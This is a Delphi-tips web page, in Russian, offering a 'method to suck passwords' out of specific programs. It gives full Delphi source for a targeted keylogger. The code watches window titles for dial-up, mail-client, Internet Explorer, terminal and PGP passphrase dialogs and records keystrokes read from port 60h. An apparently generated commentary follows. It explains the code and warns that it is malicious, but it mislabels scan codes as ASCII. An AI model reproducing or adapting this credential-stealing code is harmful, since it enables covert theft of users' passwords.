Способ высосать пароли из едитов определенных программ
На днях увольняли сисадмина..
Директор говорит ему:
- Дай системный пароль, - и подает бумашку.
Сисоп записывает следующее *******, немного подумав:
- A нет, еще одна снежинка.
Вот хороший способ высосать пароли из едитов определенных программ - Достоинством метода
является отсутствие необходимости читать длинющие keylog - записи, тк кейлоггинг ведется
только в интересующих нас окнах (Terminal, DUN, etc...).
unit ksf;
interfaceuses windows,Controls,Forms, StdCtrls, Classes, ExtCtrls;
type
Tf1 = class(TForm)
t1: TTimer;
m1: TMemo;
procedure t1t(Sender: TObject);
end;
var
f1: Tf1;
okey:byte;
KAr:array[1..88] of pchar=('-Esc-','1','2','3','4','5','6','7','8','9',
'0','-','=','bsp','-Tab-','q','w','e','r','t','y','u','i','o','p',
'[',']','#13','-Ctrl-','a','s','d','f','g','h','j','k','l',';','''','`',
'-Shift-','\','z','x','c','v','b','n','m',',','.','/','-Shift-','*',
'Alt',' ','CL','F1','F2','F3','F4','F5','F6','F7','F8','F9','F10','NL',
'SL','-Home-','-Up-','-PgUp-','-','-Left-','-*5*-','-Right-','+',
'-End-','-Down-','-PDn-','-Ins-','-Del-','','','-Unk-','F11','F12');
implementation{$R *.DFM}procedure Tf1.t1t(Sender: TObject);
var
key:byte;
cap0:pchar;
cap1:string;
begin
getmem(cap0,255);
GetWindowText(GetforegroundWindow,cap0,255); //title активного окна
cap1:=cap0;
freemem(cap0);
if(pos('Connect To',cap1)< > 0)or//DialUP
(pos('Установка связи',cap1)< > 0)or//DialUP
(pos('Вход в систему',cap1)< > 0)or//DialUP
(pos('EType Dialer',cap1)< > 0)or//DialUP
(pos('p Networking',cap1)< > 0)or//DialUP
(pos('p Connection',cap1)< > 0)or//DialUP
(pos('Connecting to',cap1)< > 0)or//DialUP
(pos('Connessione a',cap1)< > 0)or//DialUP
(pos('Edit User - ',cap1)< > 0)or//The Bat!
(pos('Мастер подключения к Интернету',cap1)< > 0)or//MSIE,MSOutlook,etc
(pos('сетевого пароля',cap1)< > 0)or//MSIE
(pos('Свойства: ',cap1)< > 0)or//MSOutlook
(pos('Вход - ',cap1)< > 0)or//MSOutlook
(pos(' - Receiving mail',cap1)< > 0)or//The Bat!
(pos('Окно терминала',cap1)< > 0)or//Terminal
(pos('Passphrase',cap1)< > 0) //PGP Diskthenbeginasmin al,60h // Читаем из 60h порта нажатую кнопку в al
mov key,al // Перемещаем код ключа из al в Keyend;
if okey< > key thenbegin
okey:=key;
if key< =88 then// Ловим Key_Down код
m1.text:=m1.text+kAr[Key] // И берем по этому коду из массива строкуend;
end;
end;
Предупреждение: данный код может быть вредоносным и может нарушать законодательство в некоторых юрисдикциях. Он похоже на логгер клавиатуры, который захватывает пароли из определенных программ.
Код, который вы предоставили, написан на Delphi и предназначен для захвата клавишных вводов из определенных окон, таких как терминал, dial-уп соединения и запросы пароля. Программа использует функцию Windows API GetWindowText для чтения заголовка активного окна, а затем проверяет наличие конкретных строк в заголовке для определения, является ли это соответствующим окном.
Если соответствующее окно обнаружено, программа использует инструкцию ассемблера in для чтения нажатой клавиши из порта 60h (контроллер клавиатуры). Код клавиши затем хранится в переменной okey. Если код клавиши не уже хранится в okey, программа обновляет значение okey.
Программа также проверяет, является ли код клавиши меньше или равен 88, что соответствует ASCII-кодам для клавиш на клавиатуре. Если это условие истинно, программа добавляет соответствующий символ из массива KAr к контролу мемо (m1.text). Это эффективно захватывает ввод клавиши и хранит его в контроле мемо.
Код также включает проверки на наличие конкретных строк в заголовке окна для определения, является ли это соответствующим (например, "Connect To", "Установка связи" и т.д.). Если обнаружены любые из этих строк, программа продолжает захватывать ввод клавиши.
Риски безопасности:
Захват паролей: код предназначен для захвата паролей из определенных программ, что может нарушить безопасность и приватность пользователей.
Детекция вредоносного ПО: код может вызвать инструменты детекции вредоносного ПО из-за его подозрительного поведения.
Правовые последствия: захват паролей без согласия пользователя может быть нарушением законодательства в некоторых юрисдикциях.
Рекомендации:
Не используйте этот код: избегайте использования этого кода или любого аналогичного кода, который захватывает ввод клавиши или пароли без явного согласия пользователя.
Используйте безопасные альтернативы: вместо этого рассмотрите использование безопасных и легитимных методов захвата ввода клавиатуры, таких как функции Windows API GetAsyncKeyState или GetKeyboardState.
Улучшайте практики безопасности: всегда следуйте лучшим практикам разработки программного обеспечения, включая правильную обработку ошибок, валидацию ввода и тестирование безопасности.
Отчет о подозрительном коде: если вы обнаружите аналогичный код в дикой природе, отчет о нем соответствующим органам или организациям, которые фокусируются на кибербезопасности.
В целом, данный код может быть вредоносным и нарушать законодательство. Важно приоритизировать безопасность и приватность пользователей при разработке программного обеспечения и избегать использования кода, который захватывает ввод клавиши или пароли без согласия пользователя.
Способ высосать пароли из редактов определенных программ: метод записывает пароль в переменную, не требуя чтения длинных keylog-Записей.
Комментарии и вопросы
Получайте свежие новости и обновления по Object Pascal, Delphi и Lazarus прямо в свой смартфон. Подпишитесь на наш Telegram-канал delphi_kansoftware и будьте в курсе последних тенденций в разработке под Linux, Windows, Android и iOS
Материалы статей собраны из открытых источников, владелец сайта не претендует на авторство. Там где авторство установить не удалось, материал подаётся без имени автора. В случае если Вы считаете, что Ваши права нарушены, пожалуйста, свяжитесь с владельцем сайта.